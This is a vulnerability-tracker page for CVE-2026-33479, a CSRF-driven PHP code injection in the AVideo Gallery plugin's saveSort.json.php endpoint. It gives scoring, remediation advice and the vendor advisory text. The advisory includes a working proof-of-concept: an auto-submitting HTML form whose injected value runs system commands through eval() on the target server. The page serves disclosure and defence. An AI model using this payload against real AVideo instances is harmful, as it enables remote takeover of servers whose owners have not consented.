Skip to main content

PHP CVE-2026-33479

HIGH
Code Injection (CWE-94)
2026-03-20 https://github.com/WWBN/AVideo GHSA-xggw-g9pm-9qhh
8.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker hosts malicious webpage
  2. Delivery
    Admin visits attacker's page
  3. Exploit
    CSRF forges request to saveSort.json.php
  4. Execution
    Unsanitized input passed to eval()
  5. Impact
    Remote code execution on server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires AVideo Gallery plugin with vulnerable saveSort.json.php endpoint. Attacker must craft a malicious webpage and trick an authenticated admin into visiting it. Exploits missing CSRF token validation combined with SameSite=None cookies to execute arbitrary PHP code via eval().

Impact

This represents a critical real-world risk despite requiring user interaction (UI:R in the CVSS vector). The CVSS score of 8.8 reflects high impact across confidentiality, integrity, and availability with network-based attack vector and low complexity. The existence of a detailed, working proof-of-concept significantly lowers the barrier to exploitation. Attack complexity is genuinely low (AC:L) as it requires only hosting HTML and social engineering an admin to click a link, common tactics in modern attacks. The privilege requirement is effectively none (PR:N) from the attacker's perspective due to CSRF bypass. The combination of admin-level code execution via simple CSRF, working POC, and the popularity of AVideo as a video platform solution makes this a high-priority vulnerability requiring immediate attention. The attack is automatable once initial access (admin click) occurs, and technical impact is total system compromise.

Exploit ScenarioDerived

An attacker creates a weaponized webpage containing an auto-submitting form that targets the Gallery plugin's saveSort.json.php endpoint with a malicious sections parameter containing PHP code injection. The attacker sends a phishing email or posts a link on social media that appears legitimate, enticing an AVideo administrator to visit the page. When the admin clicks the link while authenticated to their AVideo instance, the browser automatically submits the malicious form with the admin's session cookie attached due to SameSite=None configuration, causing the server to execute arbitrary PHP commands through the eval() function, allowing the attacker to install backdoors, steal database credentials, or pivot to other systems.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 20, 2026

The Gallery plugin in AVideo contains an unauthenticated remote code execution vulnerability through CSRF-enabled PHP code injection. Attackers can exploit an eval() function that directly executes unsanitized user input by tricking an admin into visiting a malicious page, with the session cookie's SameSite=None configuration enabling cross-site request forgery. A detailed proof-of-concept exploit exists demonstrating command execution through crafted form submissions.

RemediationAI

The primary fix is to replace the eval() function in plugin/Gallery/view/saveSort.json.php with an allowlist-based approach that validates section names against known values (Shorts, Trending, SiteSuggestion, Newest, Subscribe, Popular, LiveStream, Category, Program, Channel) and uses dynamic property access instead of code generation. As a secondary defense, modify objects/include_config.php to set session.cookie_samesite to 'Lax' instead of 'None', which prevents session cookies from being sent on cross-site POST requests and blocks the CSRF vector. Organizations should monitor the official GitHub advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-xggw-g9pm-9qhh for patched versions. Until patches are applied, implement temporary mitigations including restricting admin access to trusted networks, deploying web application firewall rules to block suspicious saveSort.json.php requests, and educating administrators about the risk of clicking untrusted links while authenticated.

Affected Packages

composer wwbn/avideo no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the Gallery plugin component in the AVideo platform (pkg:composer/wwbn_avideo), specifically in the saveSort.json.php endpoint. The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection), where user-supplied values from the $_REQUEST['sections'] array are interpolated directly into PHP's eval() function without sanitization. The vulnerability is compounded by AVideo's explicit configuration of session cookies with SameSite=None in objects/include_config.php, which instructs browsers to send authentication cookies on cross-site requests. The endpoint checks User::isAdmin() but implements no CSRF token validation, Origin/Referer header checks, or X-Requested-With validation, creating a complete chain from CSRF to RCE.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionGitHub Advisory

Summary

The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $_REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution - requiring only that an admin visits an attacker-controlled page.

Details

Vulnerable code - plugin/Gallery/view/saveSort.json.php:20-25:

php
if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    foreach ($_REQUEST['sections'] as $key => $value) {
        $obj->sectionsSaved[] = array($key=>$value);
        eval("\$object->{$value}Order = \$key;");
    }
    $obj->error = !$gallery->setDataObject($object);
}

The $value variable from $_REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization - no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.

CSRF enablement - objects/include_config.php:134-137:

php
if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.

No CSRF protection - The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.

Exploit chain:

  1. Attacker crafts a page with an auto-submitting form targeting saveSort.json.php
  2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message)
  3. The browser sends the cross-site POST request with the admin's session cookie attached (due to SameSite=None)
  4. User::isAdmin() passes because the admin's session is present
  5. The injected PHP code in the sections array value is passed to eval() and executes

PoC

Step 1: Host the following HTML on an attacker-controlled server:

html
<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
  <input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>

The base64 decodes to id;hostname.

Step 2: Lure an authenticated AVideo admin to visit the page.

Step 3: The eval on line 24 executes:

php
$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;

This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.

Expected result: The id and hostname commands execute on the server under the web server's user context.

Impact

  • Remote Code Execution - An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.
  • Full server compromise - The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.
  • Stealth - The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.
  • Blast radius - Any AVideo instance running over HTTPS (which triggers SameSite=None) where an admin can be lured to click a link is vulnerable.

Recommended Fix

Primary fix - Replace eval() with an allowlist check:

In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:

php
if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest',
                        'Subscribe', 'Popular', 'LiveStream', 'Category',
                        'Program', 'Channel'];
    foreach ($_REQUEST['sections'] as $key => $value) {
        if (!in_array($value, $allowedSections, true)) {
            continue;
        }
        $obj->sectionsSaved[] = array($key => $value);
        $property = $value . 'Order';
        $object->$property = intval($key);
    }
    $obj->error = !$gallery->setDataObject($object);
}

This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.

Secondary fix - Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/include_config.php:135:

php
ini_set('session.cookie_samesite', 'Lax');

This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.

Executive ViewAI

Why It Matters

AVideo Gallery plugin contains a critical remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary commands on affected servers by tricking administrators into visiting malicious websites. This vulnerability directly threatens the integrity and availability of AVideo installations and could enable attackers to compromise sensitive data, disrupt services, or pivot to other systems on the network.

Business Impact: Severe
Compensating Controls
  1. Disable the Gallery plugin entirely if operationally feasible. 2) Implement Web Application Firewall (WAF) rules to block POST requests containing eval(), base64_decode, or common PHP injection patterns to Gallery plugin endpoints. 3) Configure SameSite=Strict cookie policy at application or reverse proxy level to mitigate CSRF exploitation. 4) Restrict admin access to AVideo via IP whitelisting and VPN-only access. 5) Implement network segmentation to isolate AVideo servers from sensitive systems. 6) Enable detailed request logging and implement real-time alerting for suspicious Gallery plugin access patterns. 7) Monitor vendor for patch availability and prepare immediate deployment procedures.

Threat Intelligence Overview

EPSS Score
0.2%
Top 64% exploitable
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)GitHub Advisory

pkg:composer/wwbn_avideo

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy